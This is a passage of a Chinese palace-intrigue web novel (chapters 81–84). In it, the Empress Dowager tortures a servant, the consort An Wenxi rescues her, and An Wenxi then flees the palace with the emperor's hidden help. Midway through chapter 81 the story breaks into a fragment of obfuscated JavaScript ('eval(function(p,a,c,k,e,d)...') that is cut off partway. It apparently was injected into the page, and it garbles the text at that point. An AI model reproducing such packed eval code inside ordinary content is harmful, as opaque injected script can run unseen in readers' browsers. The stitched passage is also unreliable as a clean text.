“这是自然,虽然他现在知道你不是他的生母,但毕竟是你将他养大,他自然不会忤逆你。”沧月小声劝着她,生怕她再情绪激动。其实他不喜欢夏宫,来了夏宫,她总是会受一些别的人或事物的影响。 “烟儿,你先别想那么多了,我给你倒杯热茶暖暖身子。” 曹暮烟捧着茶,虽然茶水烟雾缭绕,温度很高,但却始终暖不热她的手心。 顿了片刻,曹暮烟浅啜了口茶道:“还有上次的刺杀,哀家不是说了不要轻举妄动,老六他怎么还一意孤行,难道将哀家的话当做耳旁风么?哀家有能力扶持他,就有能力废了他,哀家要的是一个听话的棋子!” 沧月闻言微微皱了眉,他从一开始就不赞成与六王爷合谋,这北宫喆不甘受控,心机深沉,那六王爷又岂是好拿捏的主?和他合作不啻是与虎谋皮! “你传书与他,若是他不听话的话,这皇位怕是要与他无缘了!”曹暮烟一字一句道。 “好了好了,这些事情就由我来办,你好端端的怎么又生气了,你看看你一生气脸上都长皱纹了。”沧月抚着她的背后劝道。 “你拿镜子,哀家看看哪里有皱纹了?”曹暮烟不由分说拿起了镜子。 铜镜里的女子美目如画,妩媚风情,只是眉宇之间多了抹戾气,待看到眼角的那抹细小的伤疤时,眼神又凌厉起来,这道疤已经深深刻在她心上二十多年了! “啪——”曹暮烟一把甩掉镜子,对沧月发起火来,“凌阡陌那个贱人还没有下落么?”然后不待沧月回答又道,“都这么些年了,你还找不到她,你都做了些什么?” “烟儿,你别生气。” “我如何不生气,凌阡陌是个大活人,你找不着,那莫虞呢,她可是死了,一具尸体你也找不着么!” “烟儿……”沧月微微叹了口气。 “这两个人是我曹暮烟这辈子最恨的两个女人,我一定要将她们挫骨扬灰!”曹暮烟恶狠狠道。 北宫喆回到了琼华殿,看到江向晚正在帮他整理奏折,对她道:“晚儿你先下去吧。” “喆……” “下去吧。”北宫喆眉宇间有抹倦色,江向晚张了张口,始终没有吐出话来,转身出了琼华殿。 北宫喆靠在龙椅上,按了按太阳穴,闭着眼睛道:“青玄。” “属下在。” “朕记得两年前朕在承安郊外购置了一处别苑。” “是,皇上,这两年一直都由钟叔在打理。” 北宫喆微微颔首,“这两天你密切关注着瑾淑妃的动静,若是她想出宫的话,到时候你助她一臂之力,出宫后务必将她带到青末山庄。” 青玄微微一惊道:“皇上,安国君和莫夫人现在也在青末山庄呢。” “那就不要让他们见面。” “是,属下知道该怎么做了。” “左言和月清绝传来消息了么?” “回皇上,还没有,想来是还没有得手。” “朕知晓了,你先下去吧。” 青玄犹豫了片刻道,“皇上,您不要去看看瑾淑妃么?” 北宫喆凌厉的双眸朝他射来道:“青玄,你逾越了!” 青玄立即抱拳道:“属下知错,属下告退。” 北宫喆呼吸着淡淡的檀香,渐渐压下心中的烦躁。她说檀香更容易让人凝神屏气,他批奏折的时候点檀香比较好。 —— 欢凉和箐姑姑一起将安文夕拖到了内殿,欢凉紧紧锁着眉头,对箐姑姑道:“箐姑姑,你去将伤药拿来,我给娘娘看看伤。” 欢凉一一褪掉了安文夕身上的衣服,待看到她身上发红的鞭痕一愣,刚才她听着那鞭声足够皮开肉绽,怎么都没有破皮? 欢凉手中的动作一顿,看来北宫喆到底还是不忍! 欢凉给安文夕上了药后,又匆匆为自己涂了药,在未央宫中查看了一周,问香茗道:“你可看见陌姑姑了?” “用过早膳的时候我还见陌姑姑在小厨房里忙碌,怎么这会不见了?”香茗突然想到有一次箐姑姑被晴妃带到晴阳殿用刑那件事,心中又浮现恐惧,急忙道,“陌姑姑她……她不会是被哪位妃子带走了吧?欢凉姐姐,你快去救救她。”虽然她对那个奇怪的陌姑姑谈不上喜欢,但她到底是未央宫的一分子。 救她?欢凉冷哼一声,像陌姑姑那样神出鬼没的人,谁能伤害得了她? 正说话间陌姑姑回了未央宫,香茗看见她立即问道:“陌姑姑,你去哪了,我们都担心你呢。” “担心我做什么?” 香茗小声道:“太后娘娘来了宫里,这宫里不太太平,我担心你……” “我没事,你多虑了。”陌姑姑说完径直回了房间。 “等一下。”欢凉突然出声道。 “什么事?” “如今太后娘娘来了,宫里的规矩也比以前大了,我希望你可以安分的待在未央宫,省得不知什么地方犯了错,连累了我们娘娘和这未央宫上下。” 陌姑姑淡漠的扫了她一眼道:“我知道了。” 陌姑姑走后,香茗看着她的背影道:“我们这也是为她好,她怎么好像不领情的样子。” 欢凉淡淡的瞥了眼香茗,真是个单纯的小丫头,“别发呆了,赶紧去给娘娘准备些吃的吧。” 香茗猛然惊醒道:“你不提醒我,我都把正事给忘了。”说着一溜烟跑开了。 欢凉本以为下午安文夕就会醒来,谁知一直到了晚上,安文夕仍在昏睡,本来预定今天晚上动身离开宫里的,这下也不得不往后推迟了,希望明天晚上可以顺利出宫,不然的话就夜长梦多了! “水~”安文夕双唇干裂的脱皮,她挽着眉,低低说道。 欢凉睡在她的外间,听到里面有动静,起身燃了灯,倒了水端进去道:“公主,水来了。” 安文夕半坐起身,喝过水道:“欢凉,现在是晚上?” “现在都快要天亮了,公主你都睡了快一天一夜了。” “一天一夜?”安文夕惊道,“北宫喆只是点了我的穴道而已,我怎么睡了这么久?” 她将杯子里的水喝光,半晌道:“重新计划一下,将时间定在今晚。” “公主放心,欢凉都已经安排好了。” “你先将箐姑姑和香茗送出宫去,我怕到了晚上顾不上她们。” “欢凉知道了,公主还要水么?” “不用了,你去睡吧,我也想躺一躺。” 天亮之后,欢凉秘密将箐姑姑和香茗送了出去,少了她们二人的未央宫似乎和往常没有什么不同。 由于昨天北宫喆鞭笞的那十鞭没有太大的力道,对她而言没有太大的影响,只是胸腔里面的经脉还是没有恢复。 安文夕正整理着出宫的东西,突然看到本来打算万寿节上送给北宫喆的同心结,手中的动作一顿,以前三年她都是亲手将红丨豆编进同心结中送给他做生辰礼物。 同心结——白头偕老,永结同心! 现在她只觉得讽刺,随手将同心结扔掉。 就在这时,欢凉突然急急地跑进内殿道:“公主,不好了,陌姑姑被太后娘娘带走了!” 第81章 难逃一死 第八十一章难逃一死 就在这时,欢凉突然急急地跑进内殿道:“公主,不好了,陌姑姑被太后娘娘带走了!” “什么?”安文夕手中拿着的茶盖蓦地掉落在地,咕噜噜滚了起来。 “到底怎么回事?” “我也不是很清楚,好像是陌姑姑在御花园遇到了太后,然后就被带走了。” 上一次曹太后来夏宫的时候,陌姑姑还躲去了凤青轩,这次这么好端端的会主动去撞上太后? “昨天我还特意告诉过陌姑姑曹太后盯上了未央宫,让她不要到处乱跑,没想到今天就……” 难道是曹太后发现了什么? 安文夕心中一惊,问道:“太后带走陌姑姑的时候有没有说些什么?” “太后好像说的是她不喜欢陌姑姑那双眼睛。” “糟了!”她都能看得出,想必更瞒不了曹太后。 “公主,你不要去,你忘了我们今晚要出宫的,不要节外生枝。”欢凉心中升起了不好的预感。 安文夕抿了抿唇,继续收拾东西,欢凉说得对,陌姑姑和她非亲非故,就算她是那个人的生母又和她有什么关系? 欢凉深吸了一口气道:“公主,我这就出去将长乐宫的人打发走。” 欢凉刚出去不久,她便听到外面传来了一阵尖着嗓子的声音道:“瑾淑妃娘娘,太后娘娘有请!” 安文夕记得这个声音,这是沧月的声音。 欢凉根本拦不住沧月,安文夕刚刚站立身子,便看到沧月直接进了内殿,他瞧了眼安文夕,略略扫了下拂尘道:“沧月见过瑾淑妃。” 这沧总管真是好大的架子,甚至连腰都没有弯一下,安文夕知道他这是为了昨日的事情向她挑衅呢,安文夕慢悠悠的喝着茶,漫不经心的瞧了沧月一眼,没有开口说话。 “瑾淑妃娘娘,今日在御花园有个没有规矩的奴才冲撞了太后娘娘,太后娘娘一怒之下将其带到了长乐宫,后来她自己说是未央宫的主事嬷嬷。”说到这里沧月顿了一顿,看安文夕脸色无常又继续道,“咱家想着既然是主事嬷嬷,怎会如此的没有规矩,想必是说了谎,太后娘娘就吩咐咱家用刑。” 安文夕听到这里眼神蓦地一冷,捧着青瓷小盏的手微微一顿。 “鞭笞了三十之后,那奴才浑身都血淋淋的,但仍然自称是未央宫的主事嬷嬷,太后就让小路子来未央宫请瑾淑妃去长乐宫认认人,谁知小路子刚到了这未央宫,这个小蹄子百般阻拦,小路子回去没法交差,老奴只好亲自来请瑾淑妃了!” 他的弦外之音是在说她们整个未央宫上下都没有规矩! “麻烦瑾淑妃随咱家走一趟,若是那奴才是未央宫的主事嬷嬷,那就劳烦瑾淑妃以后多家管教,若不是的话——太后娘娘最近刚好缺了个玩具。” 玩具? 沧月看着安文夕,眸光渐冷,“太后娘娘最喜欢那不会说话的不倒翁了。” 不会说话的不倒翁?那不就是人彘么! 安文夕神色一凛,冷然瞥向沧月道:“有劳沧总管来未央宫一趟了,本宫去收拾一下,这就随沧总管去长乐宫。” “娘娘……” 沧月瞥了眼欢凉,拂尘一扫,说道:“奴才就在外面等着瑾淑妃娘娘。” “公主,你真的决定要去了么?” 安文夕没有说话,有条不紊的披上了火红的披风,将一排银针藏在了披风下面,然后从床榻下面取出**,准备塞到靴子里面。 欢凉一把按住安文夕的手道:“公主,就算你去了,她也未必会领情,你又何必呢?” “那我总不能眼睁睁的看着她被曹太后做成丨人彘吧。” “公主,你想想安国君,想想睿王,我们凭什么要去救她?”欢凉急道,她一猜这件事就是曹太后给公主下的套,为了一个毫不相干的女人,不值得去冒这个险! 安文夕闻言握着鞭子的手一顿,然后利索的将鞭子盘道腰间,淡漠道:“欢凉,你知道的,这不一样。” “可是,公主,万一发生了意外,我们今晚就走不成了,若是今晚不走,以后可就没有这么好的机会了。”欢凉急道。 安文夕收拾完毕,眸光深远,“今晚一定要走,也一定走得了!” 率先步出了内殿,回头对欢凉道:“赶紧跟上。” 长乐宫。 虽是白天,殿内却四处燃了泛着幽光的灯火,殿内格外的温暖,不多的宫人都穿着薄薄的春裳,但走进去却令人感到一阵凉意森森,背脊发寒。 顺着大殿往里走,丨光线越来越暗,两旁燃着的宫灯越来越多了,气氛逐渐压抑。 沧月在前面带着路,安文夕不急不慢的走在他身后,她身边的欢凉自从进了这长乐宫眉头就一直紧紧锁着,警惕的打量着周遭的环境,精神丝毫不敢松懈。 曹暮烟一身紫色的雪狐大氅,头戴金凤步摇,神情高贵,凤眸流转,厌恶的看着趴在脚下的人,看着她那双酷似那个人的双眸,蓦地将手中捧着的热茶一股脑的浇在了地上那人的身上。 “嗞——”滚烫的茶浇在身上发出一阵灼烫声。 陌姑姑一身是伤,三十鞭将她抽丨打的皮开肉绽,鲜血早已将身上的衣服沁湿了。滚烫的茶水浇了下去,身上的血迹顿时晕开了。 陌姑姑紧紧咬着牙,将所有的痛楚皆吞入腹中,嘴里始终没有发出半句呻丨吟来。 曹暮烟伸手挑起陌姑姑的脸来,似乎是想看出什么不一样。 “这么疼你也忍得住,倒是和那个人一样的贱骨头!”曹暮烟打量了片刻,好像没发现什么来,一把嫌弃的将陌姑姑的脸扔开,手上戴着的尖锐的掐丝珐琅护甲狠狠地划过她的脸,陌姑姑脸上登时出现了一道血印,皮肉翻卷,鲜红的血液流过她嘴角已经干涸的血迹慢慢划向下巴。 “这样看来,你不是凌阡陌那个**。因为,那个**的脸早就被哀家毁了!”曹暮烟双眸凌冽起来。 陌姑姑的身子轻颤,隐在袖子中的手慢慢蜷起,狠狠地攥着袖角。 “不管你是不是她,今日丨你落到了哀家手中,也难逃一死,你若是让哀家高兴了,哀家就给你一个痛快,否则——” 陌姑姑紧咬着下唇,一瞬不瞬的盯着曹暮烟,眼神寡淡无光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“太后娘娘,不如让臣妾给您倒一杯水。”安文夕示意欢凉去提水壶,自己亲自捧着青瓷盏,盛了一杯水,递到曹暮烟面前的小几上。 “不知太后娘娘叫臣妾前来所为何事?”安文夕恭敬的站在一旁。 “你看看脚下的这个奴才是不是你宫里的?”曹太后此时也没有功夫和安文夕计较这个。 安文夕扫了眼陌姑姑道:“回太后娘娘,她是臣妾宫里的主事嬷嬷。” “哦,今天这个贱婢在御花园的亭子里偷了哀家的玉镯,那手镯可是价值千金,就是这奴才有一百条贱命也不够抵的!” 安文夕心中一惊,陌姑姑偷了她的手镯,曹太后竟然使出这么拙劣的伎俩。也是,在这宫里,曹太后想让谁死,只需秘密下一道懿旨,又何须理由? “娘娘,奴婢没有偷手镯。”陌姑姑撑着身子摇着头。 “太后娘娘,她说她没有拿。” “瑾淑妃难道不相信哀家的话,竟然去相信一个奴婢的话么?”曹暮烟厉声道。 第82章 有备而来 第八十二章 有备而来 “太后娘娘,凡事都要讲证据,难道太后不相信证据么?” “证据?”曹暮烟冷呲一声,她想要谁死,何须证据? 更何况这本来就不存在的事情,她倒要看看她如何拿出证据来! “当时,哀家的婢女亲眼看到她偷了哀家的手镯。” “太后娘娘,既然您也说了是您的宫女看到的这一切,您的宫女自然维护您,所以她并不能作为证人。”安文夕不卑不亢道。 “你——”曹暮烟恨不得上前撕碎她的脸。 “那瑾淑妃又如何能证明这手镯不是她偷得呢?”沧月压着嗓子道。 不远处,北宫喆和青玄二人隐在秘处不动声色的观察着这里的一举一动。 看到这时,青玄不免为安文夕捏了一把汗,曹太后做事张扬跋扈,可是向来不与人讲什么道理的! “皇上,要不属下……” 北宫喆将视线落到安文夕身上,她眉眼之间虽然难掩倦色,但是仍掩饰不了举手投足之间的自信。 半晌,他沉声道:“不用,先看看再说。” “臣妾有办法证明我的嬷嬷并没有拿太后娘娘的手镯,请太后娘娘恩准。” 曹暮烟斜了她一眼,算是应了。 “太后娘娘说刚才那位宫女看见陌姑姑拿了您的手镯,臣妾能不能见见那个小宫女?” 曹暮烟眸光一闪,飞快的和沧月对视了一眼道:“碧瑶,进来。” “奴婢给太后娘娘请安。”一位穿着淡粉宫裙,梳着双包头的小宫女小声道。 “你跟瑾淑妃说说是不是这个贱婢偷了哀家的手镯?” 那小宫女匆匆瞥了眼地上浑身是血的陌姑姑道:“回太后娘娘,就是她偷了您的手镯。” “是么?你可要看清楚了!”安文夕紧逼一步道。 碧瑶心中一跳,只听得对面的红衣女子道:“你可看清了当时是她偷了太后娘娘的手镯,本宫在她身上发现了这支金凤步摇,这也是她偷得么?” 碧瑶一愣,太后娘娘说地上的这个嬷嬷拿了她的手镯,怎么又多了支步摇来?不过,太后娘娘倒是十分喜欢佩戴金凤步摇。 她一时不知道该怎样回答,面前的红衣女子有一种与生俱来的威严,她不敢去看那双清灵中带着凌傲的双眸。不自觉得想朝曹太后看去,安文夕不容她思考,一把拉住她的手道:“当时你是看的清清楚楚,你只需回答本宫是还是不是!” “是——” 碧瑶话还没说完,就被曹太后一道强劲的气流拍出大殿,“瑾淑妃你闹够了没有,这里是哀家的长乐宫不是你的未央宫!”曹太后浑身煞气,双手上的经脉凸出,双眸渐渐浮现血色来。 欢凉走过去探了探碧瑶的鼻息,然后传音入密告诉安文夕道:“她死了。” 安文夕眸光一暗,继续道:“太后娘娘,这只金凤步摇是臣妾的,您的还好端端的在您头上呢。” 到这里,事情的真相已经显而易见! “安文夕,在这宫里,哀家想要一个人死,就像碾死一只蚂蚁一样简单。就是让你瑾淑妃死,也不过是一句话的事情,更何况这区区一个贱婢!” “臣妾自然知道在太后娘娘这宫里的威严,但是臣妾已经依言拿出了证据,既然已经证实了不是陌姑姑拿的您的手镯,臣妾现在是否可以带走她?” 安文夕神色淡然,一如刚踏进这长乐宫之时那般,仿佛一切尽在她的掌控之中。 陌姑姑静静地看着她将那只金凤步摇插在头上,一时间眸光复杂。 青玄远远地看着这一幕,不禁忍不住赞叹,“皇上,瑾淑妃果然聪慧。” “下面的安排好了么?” “回皇上,属下已经安排妥当。” 北宫喆微不可见的点点头,眸光一直停留在那抹红衣上。 安文夕越是淡定,曹暮烟心里就越是不甘心,蓦地伸出双手,两只枯藤突然从她的掌心涌了出来,朝安文夕逼去。 “安文夕,哀家告诉你,这长乐宫不是你想来就能来,想走就能走的!” 安文夕立即侧身一闪,掏出匕首将肆意翻腾的枯枝斩断,谁知安文夕刚刚斩断,曹太后手心里又立即长出新的枯枝来,一下子将地上的陌姑姑缠了起来。 突然而至的窒息感紧紧向陌姑姑袭来,枯枝一阵阵紧缩扯动了身上的鞭身,陌姑姑闷哼一声,皱紧了眉头。 安文夕和欢凉相互交替了一下眼神,欢凉伸手去抓曹太后另一只手心中发出的枯枝,安文夕飞快的握着匕首砍向曹太后的手腕。 曹暮烟眼神一凛,立即收了缠绕着陌姑姑和欢凉的枯枝。 沧月握紧了拂尘,眸光深深,今日让她们看到了最大的秘密,绝对不能放她们活着回去! 沧月刚想出手,右手突然被尖锐细碎的利器击穿,带出了一串飞扬的血珠来,可见力气之大! “啊!”沧月难以忍受的低吼一声。 曹暮烟瞥了眼沧月鲜血淋淋的右手,立即收了手道:“怎么回事?” 趁着这个机会,安文夕掷出先前藏在披风下面的银针,齐齐逼向曹太后的面门,这不过是虚晃一招,待曹太后挥手拦下这些银针之时,紧接着而来的几枚直接打在了她的穴道上,让她动弹不得。 “烟儿?”沧月再次看向安文夕的眼神多了抹杀气。 他右手受伤,功力减了大半,刚想再次出招,又一枚蓄着内力的钢针击穿了他的左手,浓稠的血液顿时染红了他身上的衣服。 到底是谁?沧月心中一惊。 “走!”安文夕看了欢凉一眼,二人架起了地上的陌姑姑冲出了长乐宫。 沧月不顾双手皆被击穿,提气欲追,小路子慌慌忙忙跑了进来,看到沧月双手血红一片,吓得话也说不利索了,“沧……沧总管,不好了……不好了,太后娘娘最喜欢居住的西殿走水了!” “什么?”沧月狠狠地咬了牙,这一声没有刻意的压抑着嗓音,显得粗陋不堪,将小路子吓得一个机灵。 “赶紧带人去救火,否则太后娘娘扒了你们的皮!” “是是,奴才这就去。”小路子立即跑开了这个充满血腥的地方。 曹暮烟将小路子的话全部听在耳中,双眸血红一片,身体上的各处的经脉涌了出来,蛇蔓枯藤顺着手心一直爬到了她的额头上,渐渐布满了整张脸,显得十分可怖。 “烟儿,你在干什么?”沧月大惊道,她竟然在冲开穴道! 沧月咬了咬牙,抬手将她打晕,然后抱进了内室。 安文夕三人刚出了长乐宫就看到长乐宫升起了一阵浓烟,她敛了眸色,立即回了未央宫。 这下她是彻底和曹太后撕破了脸,这宫里再也容不得她了! 安文夕将陌姑姑搀回了她的房间,扔了瓶伤药给她道:“你自己可以么?” 陌姑姑微微点了点头,半晌从嘴里吐出了生硬的两个字来,“谢……谢。” 安文夕蓦地一愣,淡道:“不必谢我,你到底是我未央宫的人,我不会视而不见。如今这未央宫已经不再安全,你,好自为之吧。”说完转身欲走。 “我总归是欠了你一个恩情,我记下了。” 安文夕没有回头,径直走进了内殿,将收拾好的东西装进包袱,对欢凉道:“既然长乐宫着火了,那就走得时候继续添把火。” “是,公主,到时候我们趁乱离开。” 此时,已将近日暮,折腾了整整一个时辰,长乐宫的大火才被扑灭,太后娘娘最喜欢的西殿被烧得渣渣不剩,就在众人都微微歇了口气的时候,被众人遗忘的一丝火星被北风一吹,又烧到了南殿。 火光冲天,将一地冰雪全部烧的滴水不剩,听说曹太后闻言气得吐血,当场就晕了过去。 “公主,一切收拾完毕,走吧!”欢凉催促道。 安文夕不舍得看了眼未央宫,以后怕是一辈子再也不会再回到这里了,她毕竟在这里生活了十六年,心里涌出浓浓的不舍来。 垂下眼睑,掩去眼底的神思,淡吐道:“走吧。” 别了,未央宫,别了,夏宫! 安文夕和欢凉利索的沿着屋檐,穿梭在各个宫殿屋顶上。 就在这时,一声冷冽的声音大喝道:“谁在那里?有刺客!” “惊魂,有刺客!” 房顶上的安文夕和欢凉皆是一愣,下面的这道声音她再熟悉不过,那是江向晚! 安文夕不动声色的瞥了眼下方,黑压压的一片人群,为首的惊魂利眸正锁着她们藏身的这处。很显然,对方是有备而来了! 安文夕紧抿了唇,她们此次出宫,行踪十分隐秘,江向晚又是如何知道的? “你们已经被团团围住了,若是再不现身的话,就放箭了!”江向晚厉声道,她扫了眼身侧的御林军,皆已经拉开了满弓,只待她一声令下。 安文夕,今日就是你的死期!江向晚嘴角扬起了一抹畅快的笑意。 她昨天偷听到了点北宫喆和青玄的谈话,这安文夕竟然要偷溜出宫!她正好可以趁机神不知鬼不觉的除掉她,然后取了她的心脏! 见上面的人丝毫没有反应,江向晚眼底闪过一抹狠意来,右手一挥道:“放箭——” 第83章 你令朕太失望了 第八十三章 你令朕太失望了 “慢着!”惊魂打断了江向晚,从她今晚的表现和她嘴角那高深莫测的笑意来,他直觉得今天这事没那么简单! 自从皇上警告过他不许再靠近瑾淑妃后,他就再也没有进过宫,而且他也不想留在宫里看见晚儿和那个人亲昵。但今日晚儿却突然让他进宫,说是自从上次刺客一事后,宫里不太太平,让他带着御林军在宫内巡逻。 他现在看来,好像晚儿早就知道今晚会有刺客一般。 “怎么了?”江向晚不解问。 “也许不是刺客呢?” “不是刺客,怎么不敢现身?”江向晚冷哼一声。 妈.的,这个贱人!欢凉在心里低唾一声。 安文夕乌黑莹亮的双眸如闪耀的黑曜石,密切的关注着下面的一举一动,捏紧了手中的准备好的银针,盯紧了江向晚,就在她准备掷出银针时,后背突然有只大手轻轻地拍了下她的肩膀。 “嘘!” 安文夕猛地扭过来头,看到来人愣了一下,易寒怎么会出现在这里? 易寒嘴角微勾,给了她一个放心的眼神,低声道:“赶紧走!”然后一跃跳下了去。 他在帮她! 好像每一次他都能在她遇到困难时现身。 她脑海中蓦地闪现一个邪魅又儒雅的脸庞来,会是他么? 安文夕立即趴在房檐上,将身体隐在暗处,注意着下面的情形。 易寒从房顶上落下,淡然的瞥了眼江向晚和她身边的惊魂以及一种的御林军道:“不知惊大人这是何意?” “宫里有刺客。” “刺客?”易寒惊道,“已经抓到了么?” 惊魂摇了摇头。 江向晚怎么也没有想到易寒会从房顶上下来,微愣了片刻,冷声道:“大晚上的易大人怎么会在房顶上?” “今天晚上皇上招我进宫有要事相商。” “去房顶上去商量要事?”江向晚讥讽道,这个易寒风明就是在帮安文夕拖延时间,“还是易大人在遮掩着什么?” 易寒拖延不了多少时间,安文夕咬了咬牙,拉着欢凉道:“赶紧走!” 刚落下了房顶,便看到青玄抱着剑立在墙根处,仿佛已经在此等候多时了! 安文夕一惊,北宫喆果然不打算放过她! “青玄,你也要拦着我么?” “瑾淑妃娘娘,你误会了,皇上让属下助娘娘顺利出宫!” 什么?这下连欢凉眼中都出现了惊色。 “娘娘,事不宜迟,我们赶紧走吧。” 安文夕后退了一步,警惕的盯着青玄,这北宫喆会有这么好心? “娘娘,属下什么时候骗过您?” 半晌,安文夕抬眸道:“青玄,我信你。” 隐在暗中的黑瞳渐缩,紧抿着嘴角,掩去了嘴角上的那抹苦笑。 呵……她宁愿相信青玄,也不愿信他! “江小姐若是不信,可以去问皇上。”易寒声音渐冷。 “易大人,刚才你在房顶之上,可有看见什么可疑之人?”惊魂打破了这份剑拔弩张。 “没有什么可疑之人,当时只有我和皇上两人在房顶之上。” 江向晚嘴角扬起了一抹讥笑,“是么?那我倒要看看。”她说着纵身跃上房顶。 “啊!”江向晚传来一声低呼,不可置信的看着房顶上的人,浑身一僵。 北宫喆斜斜的以手撑着额头,细碎的发丝在风中微扬,绝美的桃花眼染了几分离醉,另一只手拎着酒壶,就着寒风一口一口的往嘴里灌着酒,脖子里系着的玄色披风上面的毛领已经被酒水浸湿。 “皇……皇上,你怎么在这里?”房顶之上传来江向晚的惊呼声。 北宫喆一口饮尽酒壶中的酒,随手将酒壶丢了下去,发出一阵惊天动地的瓷碎声,将下面的众人吓得一个机灵,忙将视线放到房顶之上。 北宫喆脸色微沉,原本mi离的双眸蓄满了冰霜,夹带着漫天的寒冰朝江向晚砸来,“晚儿,你这是做什么?” “回皇上,微臣在捉拿刺客。”江向晚很快恢复了淡定道。 “刺客?”北宫喆眸光又冷了几分,厉声道,“晚儿,你令朕太失望了!” 江向晚心中大惊,看着近在咫尺,如神祇一般的男人,她一个字都说不出话来,左胸膛里面空缺得厉害。明明没有心,为何还会那么痛? 北宫喆没有看她,径直掠下房顶,冷冷的睥睨着众人,身后的玄衣披风迎风而飘,猎猎当风。 “微臣参见皇上。”易寒行礼道,心想有北宫喆在,那她到底走掉了没有? “属下参见皇上。” 惊魂抱拳单膝跪地道,其余的御林军皆放下了兵器,三呼万岁。 大冷的天,皇上和右相两人坐在房顶之上把酒相欢,还如此的隐秘,难道这里面有什么不可告人的秘密?联系到皇上如今偏宠瑾淑妃,对其他女人不喜亲近,难道皇上他是有什么难以言说的癖好?皇上玉树临风,而右相大人也是一表人才,这两个人的确也挺……般配!有些御林军的眼神不动声色的游梭在北宫喆和易寒之间。 北宫喆一身戾气,周遭的空气似乎又冷了几分,原本还想一探究竟的御林军立即垂头盯着自己脚下的一片土地。 北宫喆冷冷的扫了他们一眼道:“都退下吧。” 江向晚从房顶上跃下,欠身道:“皇上……我……” 北宫喆对着刚刚捡起兵器的御林军怒道:“还不退下!” 众人立即以最快的速度消失在了皇上面前,后背皆一片冰凉。 江向晚被北宫喆当场打断了话,窘的满面通红,好在周围太黑,没人能注意到这一点。她紧紧的握着青霜剑,咬着下唇,喆何时这么对过她?她一时难以接受。 “皇上,天色已晚,微臣也该告退了。”易寒道。 她走了,他也这么急不可待么? 北宫喆冷冷扫了他一眼,半晌道:“你退下吧。”然后看了眼江向晚和惊魂道,“你们也都退下吧。” 江向晚看着北宫喆渐渐消失在她的视线里,她突然觉得这个从小就令她心仪的男人似乎离她越来越远。 惊魂看着她颓败的目光,冷呲一声,“人都走远了,还在看什么?”这一声尽是苦涩。 “我的事情不用你来管。” “那好,你以后别再来找我,像今天这样,也别来找我帮忙。” “你——”江向晚狠狠地咬着唇,为什么连他也这样跟她说话了? “今天你所谓的抓刺客,是为了神不知鬼不觉的抓了安文夕吧!” “是又怎样?”被人点中了心思,江向晚冷哼道。 “晚儿,你放手吧,有些东西是不属于你的,不如好好珍惜能握到手里的。” 江向晚冷笑道:“珍惜?你这就让我珍惜你么,你不过是皇上身前的带刀侍卫,季家嫡子,你说,你能给我什么,无上的尊荣?还是鼎盛的权力?都不能!”最后一句话声音陡然变冷。 “晚儿,你为什么现在变成了这样?”惊魂有些痛心道。 “变?”江向晚嘴角勾起了一抹讥意,“我没有变,变得是你们!你们!”那个从小护着她的喆现在却对她冷言相加,她一心一意的爱着他,他却纳了一个又一个妃子,还偏偏对一个亡国公主动了心!这也没什么,可他为什么立了她的妹妹为妃,而却要让她做一个女官,如此尴尬的身份,让她在众人面前都抬不起头来。 还有眼前这个人,从小都默默地对她好,不论任何事情,都无条件的支持她,帮助她,而现在也来质问她了么? 她不过是喜欢一个人罢了,她有什么错? 惊魂眼底闪过一抹失望,淡漠道:“那日在百水崖,我都看到了。” 他都看到了?!这一句话无疑是一道惊雷。 惊魂看着江向晚不可置信的眼神,一步步朝她走过去道:“是你逼着瑾淑妃将你抛下悬崖,也是你故意坠了下去!” “不,不是我。” 惊魂脸上浮现浓浓的失望来,“你自己做的,现在却不敢承认么?” 江向晚狠狠地压下刚才心头的异样,嘲弄道:“你如此维护她,不会是喜欢上那个人了吧?” “你瞎说什么!”惊魂冷冷的打断她,不想再和她纠缠下去,“告辞!” “你以为没有你,我就没有办法了么?” 惊魂闻言脚步一滞,回头道:“你还是不打算罢手?只要有我惊魂在,今天你就别想伤她!” 江向晚嘴角噙起苦涩的笑,满眼讥讽道:“还说没有喜欢她!” “那咱们就走着瞧!”江向晚扔下这句话,身形一跃,消失在了茫茫夜色中,惊魂立即紧随其后。 长乐宫的火终于再次被扑灭,原本富丽堂皇的宫殿被烧掉了一般,只剩下了断壁残垣和满地的灰烬。 “太后娘娘,江小姐传来消息,那个人偷偷出宫了!” 曹暮烟闻言刚刚提上来一口气,立即又被气得吐血。 “给哀家追,不论动用多少人,务必将那个小贱人给哀家带回来!” 安文夕和欢凉打扮成了小太监的模样,跟在青玄身后,尽量挑着隐蔽的小径躲避着众人的视线。 不巧的是,一个刚刚在御膳房偷了点上好菜肴的小太监发现了三人,被惊出了一身冷汗,冷声问道:“什么人在那里?” “不好,被发现了。”欢凉小声对安文夕道。 第84章 等候多时 第八十四章 等候多时 “是我!”青玄出声道。 “原来是青大人,奴才见过青大人。” “起来吧。”青玄冲安文夕微不可见的点了点头,继续往前走。 后面的那个小太监突然问道:“青大人,这两位是?” 安文夕和欢凉身形娇小,身上穿着的太监衣服有些不太合身。 青玄锐利的双眸蓦地投向刚才那个小太监,吓得他双腿一阵发软,忙道:“青……青大人,奴才……奴才没别的意思,就是宫里头好像有刺客,您小心些。” “小吴子,你自己在那里嘀咕什么呢,是不是又偷吃御膳房的菜了啊?”一个声音略尖,身材高壮的大太监朝这边走了过来。 “高公公,奴才哪敢?”小吴子小声道。 “呦,这不是青大人么,奴才给您请安了。”高公公立即行礼道。 “免了。”青玄懒得扫他一眼,对身后道,“还不赶紧跟上?” 青玄带着安文夕和欢凉走了不远,后面匆匆追来几个大内高手,全身素黑,如阎殿罗刹一般,对高公公厉声道:“有没有看到什么可疑之人?” “没,没有。” “刚才可有什么人从这里经过?” 小吴子结巴道:“青玄……青大人刚从这里经过。” 他话音刚落,几个人衣袂一摆,立即不见了踪影,只留下一脸惊恐的小吴子。 半晌高公公说道:“那好像是长乐宫,太后娘娘身边的人!” 为了不引起别人怀疑,安文夕和欢凉始终低着头,这一路上,因为有青玄的带领,还算是畅通无阻,终于看到了宫门。 飞檐画栋的宫宇连着气魄宏大的宫门在悬挂着的点点灯火中映出别样的璀璨、富丽堂皇。 此时夜色渐深,宫中早就落了匙。 宫门守卫的御林军个个面无表情,手里持着红丨缨枪。 “开城门,我要出宫!”青玄大声吩咐道。 “青大人,没有皇上手谕,我等不敢放行。” 